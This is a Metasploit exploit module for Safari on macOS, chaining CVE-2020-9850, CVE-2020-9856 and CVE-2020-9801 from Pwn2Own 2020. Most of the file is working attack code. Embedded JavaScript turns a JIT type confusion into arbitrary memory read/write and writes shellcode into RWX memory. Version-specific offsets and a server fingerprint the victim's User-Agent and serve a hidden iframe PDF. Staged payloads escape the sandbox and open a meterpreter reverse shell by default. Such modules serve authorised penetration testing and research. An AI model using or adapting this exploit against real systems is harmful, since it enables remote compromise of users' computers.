##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer::BrowserExploit

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari in Operator Side Effect Exploit',
        'Description' => %q{
          This module exploits an incorrect side-effect modeling of the 'in' operator.
          The DFG compiler assumes that the 'in' operator is side-effect free, however
          the <embed> element with the PDF plugin provides a callback that can trigger
          side-effects leading to type confusion (CVE-2020-9850).
          The type confusion can be used as addrof and fakeobj primitives that then
          lead to arbitrary read/write of memory. These primitives allow us to write
          shellcode into a JIT region (RWX memory) containing the next stage of the
          exploit.
          The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
          and extracts a macOS application containing our payload into /var/db/CVMS.
          The payload can then be opened with CVE-2020-9801, executing the payload
          as a user but without sandbox restrictions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
          'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
          'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
          'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
          'timwr' # metasploit integration
        ],
        'References' => [
          ['CVE', '2020-9801'],
          ['CVE', '2020-9850'],
          ['CVE', '2020-9856'],
          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Stability' => [CRASH_SAFE]
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DisclosureDate' => '2020-03-18'
      )
    )
  end

  def exploit_js
    <<~JS
      const DUMMY_MODE = 0;
      const ADDRESSOF_MODE = 1;
      const FAKEOBJ_MODE = 2;

      function pwn() {
        let otherWindow = document.getElementById('frame').contentWindow;
        let innerDiv = otherWindow.document.querySelector('div');

        if (!innerDiv) {
          print("Failed to get innerDiv");
          return;
        }

        let embed = otherWindow.document.querySelector('embed');

        otherWindow.document.body.removeChild(embed);
        otherWindow.document.body.removeChild(otherWindow.annotationContainer);

        const origFakeObjArr = [1.1, 1.1];
        const origAddrOfArr = [2.2, 2.2];
        let fakeObjArr = Array.from(origFakeObjArr);
        let addressOfArr = Array.from(origAddrOfArr);
        let addressOfTarget = {};

        let sideEffectMode = DUMMY_MODE;
        otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
          if (sideEffectMode == DUMMY_MODE)
            return;
          else if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr[0] = {};
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr[0] = addressOfTarget;
        });

        print('Callback is registered');

        otherWindow.document.body.appendChild(embed);
        let triggerArr;

        function optFakeObj(triggerArr, arr, addr) {
          arr[1] = 5.5;
          let tmp = 0 in triggerArr;
          arr[0] = addr;
          return tmp;
        }

        function optAddrOf(triggerArr, arr) {
          arr[1] = 6.6;
          let tmp = 0 in triggerArr;
          return [arr[0], tmp];
        }

        function prepare() {
          triggerArr = [7.7, 8.8];
          triggerArr.__proto__ = embed;
          sideEffectMode = DUMMY_MODE;
          for (var i = 0; i < 1e5; i++) {
            optFakeObj(triggerArr, fakeObjArr, 9.9);
            optAddrOf(triggerArr, addressOfArr);
          }
          delete triggerArr[0];
        }

        function cleanup() {
          otherWindow.document.body.removeChild(embed);
          otherWindow.document.body.appendChild(embed);

          if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr = Array.from(origFakeObjArr);
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr = Array.from(origAddrOfArr);

          sideEffectMode = DUMMY_MODE;
        }

        function addressOf(obj) {
          addressOfTarget = obj;
          sideEffectMode = ADDRESSOF_MODE;
          let ret = optAddrOf(triggerArr, addressOfArr)[0];
          cleanup();
          return Int64.fromDouble(ret);
        }

        function fakeObj(addr) {
          sideEffectMode = FAKEOBJ_MODE;
          optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
          let ret = fakeObjArr[0];
          cleanup();
          return ret;
        }

        prepare();
        print("Prepare is done");

        let hostObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: new Int64([
            0, 0, 0, 0, // m_structureID
            0x17,       // m_indexingType
            0x19,       // m_type
            0x08,       // m_flags
            0x1         // m_cellState
          ]).asJSValue(),
          butterfly: 0,
          o:1,
          executable:{
            a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
            unlinkedExecutable:{
              isBuiltinFunction: 1 << 31,
              b:0, c:0, d:0, e:0, f:0, g:0,              // Padding (offset: 0x48)
              identifier: null
            }
          },
          strlen_or_id: (new Int64('0x10')).asDouble(),
          target: null
        }

        // Structure ID leak of hostObj.target
        hostObj.target=hostObj

        var hostObjRawAddr = addressOf(hostObj);
        var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
        var fakeHostObj = fakeObj(hostObjBufferAddr);
        var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));

        hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
        let rawStructureId=Function.prototype.toString.apply(fakeHostObj)

        let leakStructureId=Add(new Int64(
          rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
          ), new Int64([
            0, 0, 0, 0, // m_structureID
            0x07,       // m_indexingType
            0x22,       // m_type
            0x06,       // m_flags
            0x1         // m_cellState
        ]))
        print('Leaked structure ID: ' + leakStructureId);

        hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
        hostObj.butterfly = fakeHostObj;

        addressOf = function(obj) {
          hostObj.o = obj;
          return Int64.fromDouble(fakeHostObj[2]);
        }

        fakeObj = function(addr) {
          fakeHostObj[2] = addr.asDouble();
          return hostObj.o;
        }

        print('Got reliable addressOf/fakeObj');

        let rwObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: leakStructureId.asDouble(),
          butterfly: 1.1,

          __: 1.1,
          innerLength: (new Int64('0x4141414141414141')).asDouble(),
          innerId: leakStructureId.asDouble(),
          innerButterfly: 1.1,
        }

        var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
        var fakeRwObj = fakeObj(rwObjBufferAddr);
        rwObj.butterfly = fakeRwObj;

        var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
        rwObj.innerButterfly = fakeInnerObj;


        function read64(addr) {
          // We use butterfly and it depends on its size in -1 index
          // Thus, we keep searching non-zero value to read value
          for (var i = 0; i < 0x1000; i++) {
            fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
            let value = fakeInnerObj[i];
            if (value) {
              return Int64.fromDouble(value);
            }
          }
          throw 'Failed to read: ' + addr;
        }

        function write64(addr, value) {
          fakeRwObj[5] = addr.asDouble();
          fakeInnerObj[0] = value.asDouble();
        }

        function makeJITCompiledFunction() {
          var obj = {};
          // Some code to avoid inlining...
          function target(num) {
            num ^= Math.random() * 10000;
            num ^= 0x70000001;
            num ^= Math.random() * 10000;
            num ^= 0x70000002;
            num ^= Math.random() * 10000;
            num ^= 0x70000003;
            num ^= Math.random() * 10000;
            num ^= 0x70000004;
            num ^= Math.random() * 10000;
            num ^= 0x70000005;
            num ^= Math.random() * 10000;
            num ^= 0x70000006;
            num ^= Math.random() * 10000;
            num ^= 0x70000007;
            num ^= Math.random() * 10000;
            num ^= 0x70000008;
            num ^= Math.random() * 10000;
            num ^= 0x70000009;
            num ^= Math.random() * 10000;
            num ^= 0x7000000a;
            num ^= Math.random() * 10000;
            num ^= 0x7000000b;
            num ^= Math.random() * 10000;
            num ^= 0x7000000c;
            num ^= Math.random() * 10000;
            num ^= 0x7000000d;
            num ^= Math.random() * 10000;
            num ^= 0x7000000e;
            num ^= Math.random() * 10000;
            num ^= 0x7000000f;
            num ^= Math.random() * 10000;
            num ^= 0x70000010;
            num ^= Math.random() * 10000;
            num ^= 0x70000011;
            num ^= Math.random() * 10000;
            num ^= 0x70000012;
            num ^= Math.random() * 10000;
            num ^= 0x70000013;
            num ^= Math.random() * 10000;
            num ^= 0x70000014;
            num ^= Math.random() * 10000;
            num ^= 0x70000015;
            num ^= Math.random() * 10000;
            num ^= 0x70000016;
            num ^= Math.random() * 10000;
            num ^= 0x70000017;
            num ^= Math.random() * 10000;
            num ^= 0x70000018;
            num ^= Math.random() * 10000;
            num ^= 0x70000019;
            num ^= Math.random() * 10000;
            num ^= 0x7000001a;
            num ^= Math.random() * 10000;
            num ^= 0x7000001b;
            num ^= Math.random() * 10000;
            num ^= 0x7000001c;
            num ^= Math.random() * 10000;
            num ^= 0x7000001d;
            num ^= Math.random() * 10000;
            num ^= 0x7000001e;
            num ^= Math.random() * 10000;
            num ^= 0x7000001f;
            num ^= Math.random() * 10000;
            num ^= 0x70000020;
            num ^= Math.random() * 10000;
            num &= 0xffff;
            return num;
          }

          // Force JIT compilation.
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          return target;
        }

        function getJITCodeAddr(func) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());

          var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
          print("JITCode instance @ " + jitCodeAddr.toString());

          if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
              And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
            jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
            print("approx. JITCode instance @ " + jitCodeAddr.toString());
          }

          return jitCodeAddr;
        }

        function setJITCodeAddr(func, addr) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());
          write64(Add(executableAddr, 3 * 8), addr);
        }

        function getJITFunction() {
          var shellcodeFunc = makeJITCompiledFunction();
          shellcodeFunc();
          var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
          return [shellcodeFunc, jitCodeAddr];
        }

        var [_JITFunc, rwxMemAddr] = getJITFunction();

        for (var i = 0; i < stage0.length; i++)
          write64(Add(rwxMemAddr, i), new Int64(stage0[i]));

        setJITCodeAddr(alert, rwxMemAddr);
        var argv = {
          a0: stage1Arr,
          a1: stage2Arr,
          doc: document,
          a2: 0x41414141,
          a3: 0x42424242,
          a4: 0x43434343,
        };
        alert(argv);
      }

      var ready = new Promise(function(resolve) {
        if (typeof(window) === 'undefined')
          resolve();
        else
          window.onload = function() {
            resolve();
          }
      });

      ready.then(function() {
        try {
          pwn()
        } catch (e) {
          print("Exception caught: " + e);
          location.reload();
        }
      }).catch(function(err) {
        print("Initializatin failed");
      });
    JS
  end

  def offset_table
    {
      'placeholder' => {
        jsc_confstr_stub: 0x0FF5370041414141,
        jsc_llint_entry_call: 0x0FF5370041414142,
        libsystem_c_confstr: 0x0FF5370041414143,
        libsystem_c_dlopen: 0x0FF5370041414144,
        libsystem_c_dlsym: 0x0FF5370041414145
      },
      '10.15.3' => {
        jsc_confstr_stub: 0xE7D8B4,
        jsc_llint_entry_call: 0x361f13,
        libsystem_c_confstr: 0x2644,
        libsystem_c_dlopen: 0x80430,
        libsystem_c_dlsym: 0x80436
      },
      '10.15.4' => {
        jsc_confstr_stub: 0xF96446,
        jsc_llint_entry_call: 0x380a1d,
        libsystem_c_confstr: 0x2be4,
        libsystem_c_dlopen: 0x8021e,
        libsystem_c_dlsym: 0x80224
      }
    }
  end

  def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
      osx_version = Regexp.last_match(1).gsub('_', '.')
      if user_agent =~ %r{Version/(.*?) }
        if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('13.1')
          print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
          return false
        else
          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
        end
      end
      mac_osx_version = Rex::Version.new(osx_version)
      if mac_osx_version >= Rex::Version.new('10.15.5')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif mac_osx_version < Rex::Version.new('10.14')
        print_warning "macOS version #{mac_osx_version} is not supported"
      elsif offset_table.key?(osx_version)
        return offset_table[osx_version]
      else
        print_warning "No offsets for version #{mac_osx_version}"
      end
    else
      print_warning 'Unexpected User-Agent'
    end
    return false
  end

  def on_request_uri(cli, request)
    user_agent = request['User-Agent']
    print_status("Request #{request.uri} from #{user_agent}")
    if request.uri.ends_with? '.pdf'
      send_response(cli, '', { 'Content-Type' => 'application/pdf' })
      return
    end

    offsets = get_offsets(user_agent)
    unless offsets
      send_not_found(cli)
      return
    end

    utils = exploit_data 'javascript_utils', 'utils.js'
    int64 = exploit_data 'javascript_utils', 'int64.js'
    stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
    stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
    stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'

    offset_table['placeholder'].each do |k, v|
      placeholder_index = stage1.index([v].pack('Q'))
      stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
    end

    case target['Arch']
    when ARCH_X64
      root_payload = payload.encoded
    when ARCH_PYTHON
      root_payload = "CMD:echo \"#{payload.encoded}\" | python"
    when ARCH_CMD
      root_payload = "CMD:#{payload.encoded}"
    end
    if root_payload.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
    end
    placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
    stage2[placeholder_index, root_payload.length] = root_payload
    payload_js = <<~JS
      const stage0 = [
        #{Rex::Text.to_num(stage0)}
      ];
      var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
      var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
    JS

    jscript = <<~JS
      #{utils}
      #{int64}
      #{payload_js}
      #{exploit_js}
    JS

    jscript = add_debug_print_js(jscript)
    pdfpath = datastore['URIPATH'] || get_resource
    pdfpath += '/' unless pdfpath.end_with? '/'
    pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf"

    html = <<~HTML
      <html>
        <head>
          <style>
            body {
              margin: 0;
            }
            iframe {
              display: none;
            }
          </style>
        </head>
        <body>
          <iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
          <script>
          #{jscript}
          </script>
        </body>
      </html>
    HTML

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end
